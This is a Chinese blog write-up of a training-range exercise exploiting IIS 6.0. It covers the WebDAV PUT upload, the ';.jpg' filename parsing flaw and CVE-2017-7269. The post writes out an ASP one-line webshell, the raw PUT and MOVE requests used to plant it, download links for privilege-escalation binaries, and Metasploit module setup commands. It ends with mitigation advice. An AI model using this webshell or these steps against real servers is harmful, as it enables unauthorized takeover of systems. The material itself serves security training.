MENU

IIS 6.0漏洞复现

本文仅限技术研究与讨论,严禁用于非法用途,否则产生的一切后果自行承担

是的炒冷饭

0x01 事情起因

整理遗漏靶场,靶场本身很简单,抛砖引玉,主要是想分享几篇好文章

0x02 漏洞介绍

IIS 6.0解析漏洞介绍

IIS是Internet Information Services的缩写,意为互联网信息服务,是由微软公司提供的基于运行Microsoft Windows的互联网基本服务。IIS目前只适用于Windows系统,不适用于其他操作系统

IIS6解析漏洞基于文件名,该版本 默认会将*.asp;.jpg此种格式的文件名,当成Asp解析,原理是服务器默认不解析; 号及其后面的内容,相当于截断

另外,IIS6.x除了会将扩展名为.asp的文件解析为asp之外,还默认会将扩展名为.asa,.cdx,.cer解析为asp,
从网站属性->主目录->配置 可以看出,他们都是调用了asp.dll进行的解析。

IIS PUT漏洞介绍

IIS 6.0 PUT上传漏洞。产生原因是IIS Server在Web服务扩展中开启了WebDAV。并且管理员在配置权限时,没有遵循最小原则。给IIS配置了可以写入的权限,包括网站根目录。

也叫做IIS 写权限漏洞

0x03靶场复现

题目描述

靶场地址

背景介绍:

某日,安全工程师"墨者"对一内网进行授权扫描,在扫描过程中,发现了一台Windows2003的服务器,开启了web服务,业主单位员工坚称是一个调试服务器,只安装了IIS6.0,无任何代码程序,不可能会有安全问题。"墨者"一听就来劲了,拿起工具,手起刀落~~~~~~

实训目标

  • 了解IIS WebDAV安全配置
  • 了解HTTP标准方法外的其他一些方法
  • 掌握HTTP PUT的方法测试利用
  • 了解IIS6的畸形解析漏洞及利用测试方法

解题方向

通过上传程序脚本,获取WEB的权限;
PS:不要过于依赖现成工具!

题目打开长这样:

思路探寻

先看下iis版本,可以用浏览器插件Wappalyzer,也可以使用OPTIONS请求方法查看:

HTTP1.0定义了三种请求方法: GET、POST、HEAD
HTTP1.1新增了五种请求方法:OPTIONS、PUT、DELETE、TRACE 、CONNECT

curl -X OPTIONS http://xxx.xxx.xxx.xxx:yyy/ -I

可以看到版本是6.0

burp手操

我们先来使用手动操作一遍,不建议成为工具党

GET修改为OPTIONS查看可执行命令:

然后我们PUT一个ASP一句话上去,文件名随便写比如2.txt

<%eval request("soapffz")%>

返回201 Created,创建成功

PS:

这里注意一个问题,不要只把GET改为PUT 2.txt,后面还有一个斜杠/记得删掉

我开始也搞了半天,看解析思路评论区很多老哥说怎么试都不行最后精简为自己手写请求语句和HOST才成功

我看了下都是没有删除这个斜杠,所以做题一定要细心啊

然后就可以使用MOVE命令把2.txt改为2.asp;.jpg让解析漏洞解析asp

核心语句如下;

MOVE /2.txt HTTP/1.1
Host: ip:端口
Destination: /2.asp;.jpg
<%eval request("soapffz")%>

会返回401 Unauthorized,这个不影响,直接上蚁剑连接:

成功拿到flag

工具操作

IIS Put Scaner v1.3,来自nosec,源网页已经找不到了,可以简单探测:

可以看到PUTYES,所以具有写权限,还有一款扫描工具DotNetScan:

上传asp木马的话使用著名工具桂林老兵的iiswrite

软件的标题为:对IIS写权限的利用 / 自定义数据包提交 - 桂林老兵作品(目前下载默认被火绒查杀)

知道了有写权限后,我们来上传把asp后缀改为txt的木马(只能上传txt文件)

<%eval request("soapffz")%>

返回201说明上传成功,但是此时木马不能被解析,再用工具的MOVE或者COPY方法把后缀改为asp

但是这个工具有一个缺陷,就是默认只能测试80端口的站点,如果站点不在80端口无法使用:

0x04 尝试拿下服务器

看看我是啥权限

靶场做完了,不继续搞一下不就浪费了我4个靶场币吗?

看下权限:

whoami都不能执行,权限很低啊,根据参考文章:拿到webshell后虚拟终端拒绝访问

操作如下;

下载cmd.exe和iis6.0.exe

https://sudo0m.coding.me/update/webshell/cmd.exe
https://sudo0m.coding.me/update/webshell/iis6.exe

然后上传到网站根目录,这里上传的时候蚁剑还报了500 Internal Server错误

用菜刀上传成功:

设置终端为cmd.exesetp c:\inetpub\wwwroot\test.exe

然后就可以用iis6.exe加上命令执行命令了:

执行了下whoami已经是system权限了,那也就没机会练习提权了

附上secwikiWindows提权GitHub项目

CVE-2017-7269

这个exp的利用不是那么一帆风顺的,参考文章:IIS6_WebDAV远程代码执行漏洞(CVE-2017-7269)的正确打开方式

msf自带一个利用模块exploit/windows/iis/iis_webdav_scstoragepathfromurl

但是实测失败:

利用失败的原因

失败的原因有以下几种:

端口和域名绑定问题

实际环境中,iis绑定的域名和端口可能不是默认的,比如:

默认绑定:

非默认绑定:

 If头信息中的两个url是要求和站点绑定相匹配的,否则只能收到一个502。这里所说的相匹配指的是if头中url的port必须与站点绑定的端口相匹配,而if头中的域名只需要和host头保持一致就好

在我这种实战场景中如果遇到这种情况一般就没办法了,因为服务器不是自己的进不去设置

物理路径

POC中If头中的第一个URL会被解析成物理路径,默认情况下是C:Inetpubwwwroot,也就是19,在覆盖缓冲区的时候填充的字符长度要根据物理路径的长度来决定,且物理路径长度 + 填充字符的个数 = 114。POC中的是按照默认的物理路径(19位)来计算填充字符的长度的,当物理路径的长度不为19位的时候就会收到一个500。(这里物理路径长度计算方法要加上最后的)

爆破物理路径长度并检测漏洞工具IIS6_WebDAV_Scanner,但是这个靶场检测不出来:

我这个靶场就是默认的物理路径,也就是长度19,所以不是物理路径的问题

试下网上的exp,下载exp并放入msfexploit目录:

mv cve-2017-7269.rb cve_2017_7269.rb
(-改为_否则无法识别)
mv cve_2017_7269.rb /usr/share/metasploit-framework/modules/exploits/windows/iis/
use exploit/windows/iis/cve_2017_7269
(如果找不到脚本,可尝试执行reload_all,并再次重启msf)

0x05 漏洞修复建议

IIS 远程漏洞主要包括缓冲区溢出、认证绕过、拒绝服务、代码执行和信息泄露漏洞,本地漏洞主要分布在信息泄露和权限提升漏洞分类,大部分漏洞利用难度较大,但是一旦成功被攻击者利用,影响的不仅仅只是IIS服务器,甚至可能是运行IIS的Windows主机。如果用户主机被利用,那么攻击者可以将此台主机当作肉鸡攻击内网中的其他主机、服务器或者网络设备等,后果不堪设想

由于微软并不认为IIS6.0这是一个漏洞,也没有推出IIS 6.0的补丁,因此漏洞需要自己修复。

  • 限制上传目录执行权限,不允许执行脚本(图片来自参考文章1)

  • 不允许新建目录
  • 上传的文件需经过重命名(时间戳+随机数+.jpg等)

参考文章:

本文完。

最后编辑于: 2020 年 04 月 02 日